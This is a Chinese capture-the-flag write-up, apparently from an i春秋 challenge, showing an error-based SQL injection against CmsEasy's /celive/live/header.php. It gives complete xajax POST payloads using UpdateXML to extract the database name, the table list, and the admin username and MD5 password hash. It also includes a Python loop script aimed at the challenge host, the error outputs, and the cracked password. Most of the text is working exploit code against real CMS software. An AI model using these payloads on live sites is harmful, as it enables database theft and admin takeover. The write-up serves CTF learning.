分析

打开网站，在文档下载页面用户评论区域，发现是一个EasyCMS

于是百度EasyCMS的漏洞，发现cmseasy 无限制报错注入（可获取全站信息exp）

访问url/celive/live/header.php，直接进行报错注入

数据库：

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>


# 结果：
XPATH syntax error: '[Yeser]'

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-09-06 17:06:08)','2')

数据表：

这里需要注意一下：group_concat取数据的32位，因此不能完全爆出数据表，需要调整1,32才行

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>


# 结果
XPATH syntax error: '[yesercms_a_attachment,yesercms_'

## python脚本跑一下
import requests
url = 'http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com/celive/live/header.php'
for i in range(1,999,31):
    postdata = {
    'xajax':'Postdata',
    'xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" %str(i)
}
    r = requests.post(url,data=postdata)
    print r.content[22:53]

简单的python，循环跑一下，也是可以出来的，但是表太多了，我是不太知道大佬们怎么精准定位到yesercms_user表

yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yesercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_detail,yesercms_event,yesercms_friendlink,yesercms_guestbook,yesercms_linkword,yesercms_my_a,yesercms_my_yingpin,yesercms_operators,yesercms_option,yesercms_p_orders,yesercms_p_pay,yesercms_p_shipping,yesercms_pay_exchange,yesercms_sessions,yesercms_settings,yesercms_templatetag,yesercms_type,yesercms_union,yesercms_union_pay,yesercms_union_visit,yesercms_user,yesercms_usergroup

最后爆出数据：

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

XPATH syntax error: '[admin|ff512d4240cbbdeafada404677ccbe61]'

这里也是一样，只会显示32位字符，需要调整一下，得到账户密码。

MD5反解密码SOMD5得Yeser231

进入后台页面，